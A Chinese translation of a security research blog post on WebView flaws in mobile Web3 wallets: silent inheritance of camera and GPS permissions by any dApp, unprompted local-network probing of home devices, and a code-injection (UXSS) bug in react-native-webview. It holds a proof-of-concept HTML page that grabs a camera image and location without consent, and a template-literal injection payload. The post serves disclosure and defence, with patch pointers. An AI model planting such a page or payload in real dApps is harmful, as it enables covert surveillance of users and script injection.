不安全WebView集成:漏洞金矿

osecio 发布于 2026-06-19 阅读 47

文章揭示了移动Web3钱包中WebView集成的安全漏洞:WebView会继承宿主应用的权限,但缺乏来源隔离,恶意dApp可无授权访问相机、GPS等权限;WebView未限制本地网络访问,dApp可探测用户家庭设备;React Native WebView的injectJavaScriptObject存在代码注入漏洞(UXSS)。作者在20多个主流钱包中发现了这些漏洞,并提供了利用示例和修补建议。

不安全 WebView 集成的金矿

移动 web3 钱包中的 WebView 可以静默继承钱包应用本身被授予的权限。我们发现了 20 多个主流钱包,其中的恶意 dApp 可以在未经授权的情况下访问核心权限。

不安全 WebView 集成金矿的标题图片

WebView 在移动 web3 钱包中无处不在,但它们通常仅仅被视为加载 dApp 的便捷方式。实际上,它们可以静默继承强大的应用能力,攻击者可加以利用。

在本文中,我们将研究在钱包应用和库中发现的一些 WebView 问题,包括 React Native 中的一些问题。

利用移动 WebView

大多数 web3 钱包的一个众所周知的功能是与去中心化应用(通常称为 dApp)进行交互。

为了使钱包应用兼容各种 dApp,它必须支持 dApp 网页与底层钱包之间的消息交换系统。在 Android 和 iOS 上,这通常通过将网页加载到 WebView 组件中来实现。

由于 dApp 是广泛支持的功能,我们的主要研究目标是发现影响大多数(如果不是全部)WebView 实现的鲜为人知的漏洞。我们反复遇到的一个问题与 React Native WebView 如何处理权限请求有关。为了理解这些漏洞及其利用方式,我们首先需要深入了解 iOS 和 Android WebView 的实际工作原理。

处理 WebView 权限

在本节中,我们将深入探讨权限请求的内部工作原理,以及 Android 和 iOS 上的处理差异。

Android

如果我们查看 Android 文档,负责授予或拒绝权限请求的方法是 onPermissionRequest。当网页触发新的权限请求时,WebView 开发者必须决定是授予还是拒绝,此时会调用该方法并传入一个 PermissionRequest 对象。

通知宿主应用,Web 内容正在请求访问指定资源的权限,且该权限当前既未授予也未拒绝。宿主应用必须调用 PermissionRequest.grant(String) 或 PermissionRequest.deny()。如果未重写此方法,则权限将被拒绝。

该对象包含评估请求所需的所有信息,例如通过 getOrigin() 获取的网页源,以及通过 getResources() 获取的请求权限。

如果我们仔细阅读前面的 Android 文档,会发现任何权限请求默认都会被拒绝。因此,大多数 WebView 包装器选择通过重写此方法来启用权限授予,例如官方的 webview_shell。在这种情况下,没有执行任何源检查。

iOS

相反,iOS 文档 指出:

如果你在委托中没有实现此方法,系统将返回 WKPermissionDecisionPrompt。

这实际上意味着,默认情况下,iOS 会通过提示消息来确定网页(受其安全源限制)是否可以访问任何权限。这样,iOS 应用上的权限请求源隔离默认是强制执行的。

WebView 实现的缺陷

大多数 web3 移动钱包都内置了允许用户扫描二维码的功能,以获得更友好的交易体验。然而,要使用此功能,用户必须授予应用相机访问权限。由于这是一个强大的权限,会弹出一个提示框。

相机权限提示

由于大多数钱包基于 React Native,最常用的 WebView 实现是 react-native-webview。如果我们查看它们如何处理到达 onPermissionRequest 方法的请求,会看到类似的模式。

// If all the permissions are already granted, send the response to the WebView synchronously
if (requestedAndroidPermissions.isEmpty()) {
    request.grant(grantedPermissions.toArray(new String[0]));
    grantedPermissions = null;
    return;
}

如上所示,如果 Android 应用已被授予请求的权限,该方法只是允许加载的 WebView 使用它们。这遵循了 Google 的 WebView Shell 实现的相同模式——没有执行任何源检查。当这种行为与典型的 web3 钱包功能(即 dApp)结合时,就会出现严重的疏忽。

实际利用

如前所述,web3 移动应用通常使用 WebView 来加载和执行 dApp,最常见的实现是 React Native WebView。开发者假设这些 WebView,尤其是 React Native WebView,默认情况下会为敏感权限提供源隔离。然而,事实并非如此。这允许任何恶意 dApp 请求并使用已授予底层应用的任何权限。不会执行额外的用户同意检查。

如果应用尚未拥有这些权限,一旦用户允许钱包内某个特定的 dApp 访问相机或 GPS,每个其他 dApp 都可以在未经用户同意的情况下访问这些权限,因为没有源隔离。

在我们的审计和研究过程中,我们发现超过 20 个主流钱包容易受到这种攻击场景的影响。虽然大多数使用 React Native WebView,但其他使用较少的库也存在同样的错误。例如,Stellar 生态系统中一个流行钱包使用的 Justson

概念验证

为了利用此问题,我们假设以下先决条件:

  1. 用户已将相机权限仅授予钱包应用或另一个具有不同源的 dApp。
  2. 用户被诱骗访问恶意 dApp,或从网络重定向到该 dApp。
  3. 一旦 dApp 加载,以下代码将运行,允许攻击者用相机拍照。
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>
    <h2>笑一个 dApp :)</h2>
    <button id="connect">连接你的钱包!</button>
    <pre id="gps"></pre>
    <img id="pic">
    <script>
        window.addEventListener('unhandledrejection', function (event) {
            alert(`未处理的 Promise 拒绝: ${event.reason}`);
        });
        window.onerror = function (msg, url, line, col, error) {
            alert('onerror: ' + msg);
            return false;
        };

        async function main() {
            const stream = await navigator.mediaDevices.getUserMedia({ video: true });
            const video = document.createElement("video");
            video.srcObject = stream;
            const canvas = document.createElement("canvas");

            video.onloadedmetadata = () => {
                canvas.width = video.videoWidth;
                canvas.height = video.videoHeight;
            };

            connect.onclick = e => {
                video.play();

                canvas.getContext("2d").drawImage(video, 0, 0);
                stream.getTracks().forEach(t => t.stop());
                canvas.toBlob((blob) => {
                    pic.src = URL.createObjectURL(blob);
                });

                navigator.geolocation.getCurrentPosition(pos => {
                    const c = pos.coords;
                    gps.innerText = `纬度: ${c.latitude.toFixed(1)}\n经度: ${c.longitude.toFixed(1)}`;
                }, err => alert(err));
            };

        }
        main();
    </script>
</body>
</html>
补丁

不幸的是,修复此漏洞没有简单的解决方案,因为大多数库没有提供易于启用的功能开关。每个钱包都应该注意所使用的库,并随后手动实施缓解措施。

这类补丁的一个良好基线是 Metamask。他们针对 React Native WebView 的补丁可以在 这里 找到。

私有网络访问桌面提示

然而,即使应用了此补丁,用户体验也不理想。由于没有缓存机制来保存用户的选择,可以构造各种点击劫持场景,进一步诱骗用户批准权限。

本地网络访问

像 Chrome 这样的现代浏览器已经对访问用户的本地网络引入了严格的保护。当网页尝试向本地网络上的服务器或任何私有 IP 范围发送请求时,Chrome 会在允许请求继续之前提示用户明确许可。这是 私有网络访问 规范的一部分,权限提示被特意限制在安全上下文(HTTPS)中,以防止不安全页面将本地网络访问用作更严重攻击(如远程代码执行)的跳板。网上有许多示例详细说明了这些保护的影响 https://learnblockchain.cn/article/26525。Google 的 Chrome 是最早在桌面应用中实现此保护的浏览器之一。

私有网络访问桌面提示

然而,WebView 不强制执行此限制。当 dApp 在钱包的 WebView 中加载时,它可以自由地向用户本地网络上的任何主机发送请求,包括路由器、NAS 设备、智能家居中枢、IP 摄像头或任何其他 IoT 设备,而不会触发任何权限提示。用户完全无法察觉这种情况。示例如下。

私有网络访问演示

后果可能加剧某些问题的影响。本地网络设备通常未打补丁,依赖默认凭据,并且暴露了从未设计为可从外部网页访问的管理界面。攻击者控制的 dApp 可以:

  • 从路由器或 IoT 设备暴露的管理面板或未经身份验证的 API 端点窃取设备信息。
  • 对仅依赖网络位置作为唯一访问控制的设备(消费者 IoT 中的常见模式)执行已认证操作。
  • 向已知漏洞已公开的设备发送精心构造的请求,利用固件中的已知 CVE,从而可能在该设备上实现远程代码执行。

安装了信誉良好的 web3 钱包的用户根本没有理由怀疑通过该钱包内的恶意 dApp 浏览可能导致其家用设备被探测。

通过代码注入实现的 UXSS

我们在 react-native-webview 中快速浏览代码时发现的另一个问题是 injectJavaScriptObject 属性的工作方式。以下是代码片段:

    private void injectJavascriptObject() {
      if (getSettings().getJavaScriptEnabled()) {
        String js = "(function(){\n" +
          "    window." + JAVASCRIPT_INTERFACE + " = window." + JAVASCRIPT_INTERFACE + " || {};\n" +
          "    window." + JAVASCRIPT_INTERFACE + ".injectedObjectJson = function () { return " + (injectedJavaScriptObject == null ? null : ("`" + injectedJavaScriptObject + "`")) + "; };\n" +
          "})();";
        evaluateJavascriptWithFallback(js);
      }

它基本上用反引号 () 将 injectedJavaScriptObject包裹起来,注入一段 JavaScript 代码。如果你熟悉 JavaScript,你会立即发现,如果我们部分控制injectedJavaScriptObject,就可以实现代码注入。如果我们控制了一个属性,就可以注入像 ${alert(1)}` 这样的载荷,并在加载页面的上下文中实现 XSS。

然后,在浏览开放的 PR 时,我们看到有一个 PR 正好修复了这个问题,尽管我们不是第一个发现它的人(没关系,这是一个相当容易发现的错误)。这是 包含报告和修复的 PR

该漏洞仍然存在于代码中,因为该 PR 尚未合并,并且由于 PR 是公开的,每个人都可以看到这个错误。这确实是库的过错,但告诉我们另一件需要注意的事情是未合并的修复漏洞的 PR。理想情况下,开源库应该有一个带有联系方法的安全策略,以便安全研究人员可以在不公开的情况下报告漏洞。这是因为一旦公开,更多人知道这个错误,它就更有可能在现实中遭到利用。

如果你想检查你的应用是否易受攻击,只需检查你是否将 injectedJavaScriptObject 与某些用户提供的输入一起注入。如果是这样,建议手动合并 PR 并使用修补后的库重建你的应用。

结论

大多数关于 WebView 的文章都集中在经典的 URL 欺骗上。在钱包应用中,更有趣的问题通常来自能力继承:WebView 静默受益于宿主应用被授予的权限,并且小的集成假设会演变成严重的影响。

  • 原文链接: osec.io/blog/2026-06-18-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~

相关文章

0 条评论